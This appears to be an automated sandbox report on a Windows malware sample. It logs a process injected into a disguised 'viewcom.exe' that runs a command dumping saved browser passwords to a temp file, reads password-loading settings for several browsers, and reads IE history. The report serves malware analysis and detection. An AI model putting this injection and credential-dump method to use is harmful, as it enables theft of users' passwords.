Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1B.tmp, size = 0 | 1 |
Fn
|
|
File | Write | filename = C:\ProgramData\9F1B.tmp, size = 1 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1B.tmp, size = 2 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1B.tmp, size = 1 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1B.tmp, size = 4 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1B.tmp, size = 1 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1B.tmp, size = 15 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1B.tmp, size = 1 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1B.tmp, size = 0 | 1 |
Fn
|
|
File | Write | filename = C:\ProgramData\9F1B.tmp, size = 1 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1B.tmp, size = 7 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1B.tmp, size = 1 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1B.tmp, size = 0 | 1 |
Fn
|
|
File | Write | filename = C:\ProgramData\9F1B.tmp, size = 1 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1B.tmp, size = 4 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1B.tmp, size = 1 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1B.tmp, size = 0 | 1 |
Fn
|
|
File | Write | filename = C:\ProgramData\9F1B.tmp, size = 2 | 1 |
Fn
Data
|
Information | Value |
---|---|
ID | #9 |
File Name | c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe |
Command Line | "C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe" /scomma "C:\ProgramData\9F1C.tmp" |
Initial Working Directory | C:\Users\ATVeyDl98Z\Desktop\ |
Monitor | Start Time: 00:01:18, Reason: Child Process |
Unmonitor | End Time: 00:02:34, Reason: Terminated by Timeout |
Monitor Duration | 00:01:16 |
Information | Value |
---|---|
PID | 0xc78 |
Parent PID | 0xb98 (c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe) |
Is Created or Modified Executable | |
Integrity Level | Medium |
Username | ZJEWV7F\ATVeyDl98Z |
Groups |
|
Enabled Privileges | SeChangeNotifyPrivilege |
Thread IDs |
0x
C7C
0x
C98
|
Name | Start VA | End VA | Type | Permissions | Monitored | Dump | YARA Match | Actions |
---|---|---|---|---|---|---|---|---|
private_0x0000000000010000 | 0x00010000 | 0x0002ffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000000010000 | 0x00010000 | 0x0001ffff | Pagefile Backed Memory | Readable, Writable |
|
|||
private_0x0000000000020000 | 0x00020000 | 0x00020fff | Private Memory | Readable, Writable |
|
|||
private_0x0000000000030000 | 0x00030000 | 0x0012ffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000000130000 | 0x00130000 | 0x00133fff | Pagefile Backed Memory | Readable |
|
|||
private_0x0000000000140000 | 0x00140000 | 0x00140fff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000000150000 | 0x00150000 | 0x00150fff | Pagefile Backed Memory | Readable, Writable |
|
|||
tzres.dll | 0x00160000 | 0x00160fff | Memory Mapped File | Readable |
|
|||
private_0x0000000000160000 | 0x00160000 | 0x0016ffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000000160000 | 0x00160000 | 0x00167fff | Pagefile Backed Memory | Readable, Writable |
|
|||
pagefile_0x0000000000170000 | 0x00170000 | 0x00176fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x0000000000180000 | 0x00180000 | 0x00181fff | Pagefile Backed Memory | Readable, Writable |
|
|||
private_0x0000000000190000 | 0x00190000 | 0x0028ffff | Private Memory | Readable, Writable |
|
|||
locale.nls | 0x00290000 | 0x002f6fff | Memory Mapped File | Readable |
|
|||
rsaenh.dll | 0x00300000 | 0x0033bfff | Memory Mapped File | Readable |
|
|||
pagefile_0x0000000000300000 | 0x00300000 | 0x00307fff | Pagefile Backed Memory | Readable, Writable |
|
|||
private_0x0000000000350000 | 0x00350000 | 0x0035ffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000000390000 | 0x00390000 | 0x0039ffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000000400000 | 0x00400000 | 0x0045afff | Private Memory | Readable, Writable, Executable |
|
|||
pagefile_0x0000000000460000 | 0x00460000 | 0x00527fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x0000000000530000 | 0x00530000 | 0x00630fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x0000000000640000 | 0x00640000 | 0x0123ffff | Pagefile Backed Memory | Readable |
|
|||
private_0x0000000001240000 | 0x01240000 | 0x0133ffff | Private Memory | Readable, Writable |
|
|||
sortdefault.nls | 0x01340000 | 0x0160efff | Memory Mapped File | Readable |
|
|||
private_0x0000000001610000 | 0x01610000 | 0x0170ffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000001710000 | 0x01710000 | 0x01810fff | Private Memory | Readable, Writable |
|
|||
nss3.dll | 0x01710000 | 0x018c1fff | Memory Mapped File | Readable |
|
|||
nss3.dll | 0x01710000 | 0x018c1fff | Memory Mapped File | Readable |
|
|||
private_0x0000000001710000 | 0x01710000 | 0x017dffff | Private Memory | Readable, Writable |
|
|||
private_0x00000000017e0000 | 0x017e0000 | 0x018cffff | Private Memory | Readable, Writable |
|
|||
private_0x00000000018d0000 | 0x018d0000 | 0x019cffff | Private Memory | Readable, Writable |
|
|||
private_0x00000000019d0000 | 0x019d0000 | 0x01acffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000001a00000 | 0x01a00000 | 0x01afffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000001b00000 | 0x01b00000 | 0x01ef2fff | Pagefile Backed Memory | Readable |
|
|||
freebl3.dll | 0x5f0f0000 | 0x5f13efff | Memory Mapped File | Readable, Writable, Executable |
|
|||
freebl3.dll | 0x5f140000 | 0x5f18efff | Memory Mapped File | Readable, Writable, Executable |
|
|||
msvcp100.dll | 0x5f190000 | 0x5f1f8fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
nss3.dll | 0x5f200000 | 0x5f3b4fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
msvcr100.dll | 0x5fa20000 | 0x5faddfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
softokn3.dll | 0x6b220000 | 0x6b246fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
softokn3.dll | 0x6b250000 | 0x6b276fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
nssdbm3.dll | 0x6b260000 | 0x6b276fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
nssdbm3.dll | 0x6b6c0000 | 0x6b6d6fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
winmm.dll | 0x6cda0000 | 0x6cdd1fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
mozglue.dll | 0x6d470000 | 0x6d491fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
wsock32.dll | 0x6f660000 | 0x6f666fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
vaultcli.dll | 0x723a0000 | 0x723abfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
comctl32.dll | 0x723c0000 | 0x72443fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
pstorec.dll | 0x72810000 | 0x7281cfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
atl.dll | 0x741e0000 | 0x741f3fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
version.dll | 0x74c60000 | 0x74c68fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
rsaenh.dll | 0x74f80000 | 0x74fbafff | Memory Mapped File | Readable, Writable, Executable |
|
|||
cryptsp.dll | 0x751e0000 | 0x751f5fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
cryptbase.dll | 0x75660000 | 0x7566bfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
msasn1.dll | 0x75780000 | 0x7578bfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
crypt32.dll | 0x757b0000 | 0x758ccfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
kernelbase.dll | 0x758d0000 | 0x75919fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
usp10.dll | 0x75a70000 | 0x75b0cfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
lpk.dll | 0x75b10000 | 0x75b19fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
ws2_32.dll | 0x75b20000 | 0x75b54fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
rpcrt4.dll | 0x75b60000 | 0x75c00fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
user32.dll | 0x75c10000 | 0x75cd8fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
urlmon.dll | 0x75ce0000 | 0x75e15fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
nsi.dll | 0x75e20000 | 0x75e25fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
iertutil.dll | 0x75e30000 | 0x7602afff | Memory Mapped File | Readable, Writable, Executable |
|
|||
advapi32.dll | 0x76030000 | 0x760cffff | Memory Mapped File | Readable, Writable, Executable |
|
|||
psapi.dll | 0x760d0000 | 0x760d4fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
shlwapi.dll | 0x760e0000 | 0x76136fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
sechost.dll | 0x76330000 | 0x76348fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
kernel32.dll | 0x76350000 | 0x76423fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
shell32.dll | 0x764f0000 | 0x77139fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
imm32.dll | 0x77140000 | 0x7715efff | Memory Mapped File | Readable, Writable, Executable |
|
|||
comdlg32.dll | 0x77160000 | 0x771dafff | Memory Mapped File | Readable, Writable, Executable |
|
|||
wininet.dll | 0x771e0000 | 0x772d4fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
msctf.dll | 0x772e0000 | 0x773abfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
msvcrt.dll | 0x773b0000 | 0x7745bfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
ole32.dll | 0x77460000 | 0x775bbfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
ntdll.dll | 0x775c0000 | 0x776fbfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
gdi32.dll | 0x77710000 | 0x7775dfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
oleaut32.dll | 0x77760000 | 0x777eefff | Memory Mapped File | Readable, Writable, Executable |
|
|||
apisetschema.dll | 0x77800000 | 0x77800fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
pagefile_0x000000007f6f0000 | 0x7f6f0000 | 0x7f7effff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x000000007ffb0000 | 0x7ffb0000 | 0x7ffd2fff | Pagefile Backed Memory | Readable |
|
|||
private_0x000000007ffd8000 | 0x7ffd8000 | 0x7ffd8fff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffde000 | 0x7ffde000 | 0x7ffdefff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffdf000 | 0x7ffdf000 | 0x7ffdffff | Private Memory | Readable, Writable |
|
Injection Type | Source Process | Source Os Thread ID | Injection Info | Success | Count | Logfile |
---|---|---|---|---|---|---|
Modify Memory | #6: c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe | 0xc58 | address = 0x400000, size = 372736 | 1 |
Fn
Data
|
|
Modify Memory | #6: c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe | 0xc58 | address = 0x7ffd8008, size = 4 | 1 |
Fn
Data
|
|
Modify Control Flow | #6: c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe | 0xc58 | os_tid = 0xc7c, address = 0x0 | 1 |
Fn
|
Category | Operation | Information | Success | Count | Logfile |
---|---|---|---|---|---|
Module | Get Handle | module_name = private_0x0000000000400000, base_address = 0x400000 | 2 |
Fn
|
|
Module | Load | module_name = comctl32.dll, base_address = 0x723c0000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll, function = InitCommonControlsEx, address_out = 0x723c6be6 | 1 |
Fn
|
|
Module | Load | module_name = shell32.dll, base_address = 0x764f0000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\shell32.dll, function = SHGetSpecialFolderPathW, address_out = 0x76510468 | 1 |
Fn
|
|
Module | Get Handle | module_name = private_0x0000000000400000, base_address = 0x400000 | 2 |
Fn
|
|
Module | Get Filename | process_name = c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe, file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe, size = 260 | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom_lng.ini, type = file_attributes | 1 |
Fn
|
|
Module | Get Handle | module_name = private_0x0000000000400000, base_address = 0x400000 | 18 |
Fn
|
|
Module | Get Filename | process_name = c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe, file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe, size = 260 | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.cfg, section_name = General, key_name = ShowGridLines, default_value = 0 | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.cfg, section_name = General, key_name = SaveFilterIndex, default_value = 0 | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.cfg, section_name = General, key_name = ShowInfoTip, default_value = 1 | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.cfg, section_name = General, key_name = MarkOddEvenRows, default_value = 0 | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.cfg, section_name = General, key_name = ShowTimeInGMT, default_value = 0 | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.cfg, section_name = General, key_name = LoadPasswordsIE, default_value = 1 | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.cfg, section_name = General, key_name = LoadPasswordsFirefox, default_value = 1 | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.cfg, section_name = General, key_name = LoadPasswordsChrome, default_value = 1 | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.cfg, section_name = General, key_name = LoadPasswordsOpera, default_value = 1 | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.cfg, section_name = General, key_name = LoadPasswordsSafari, default_value = 1 | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.cfg, section_name = General, key_name = LoadPasswordsSeaMonkey, default_value = 1 | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.cfg, section_name = General, key_name = LoadPasswordsYandex, default_value = 1 | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.cfg, section_name = General, key_name = UseFirefoxProfileFolder, default_value = 0 | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.cfg, section_name = General, key_name = UseFirefoxInstallFolder, default_value = 0 | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.cfg, section_name = General, key_name = UseChromeProfileFolder, default_value = 0 | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.cfg, section_name = General, key_name = UseOperaPasswordFile, default_value = 0 | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.cfg, section_name = General, key_name = FirefoxProfileFolder | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.cfg, section_name = General, key_name = FirefoxInstallFolder | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.cfg, section_name = General, key_name = ChromeProfileFolder | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.cfg, section_name = General, key_name = OperaPasswordFile | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.cfg, section_name = General, key_name = SaveFileEncoeding, default_value = 0 | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.cfg, section_name = General, key_name = WinPos | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.cfg, section_name = General, key_name = Columns | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.cfg, section_name = General, key_name = Sort, default_value = 0 | 1 |
Fn
|
|
System | Get Info | type = Operating System | 1 |
Fn
|
|
File | Create | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE | 1 |
Fn
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 32, size_out = 32 | 1 |
Fn
Data
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, type = size | 1 |
Fn
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
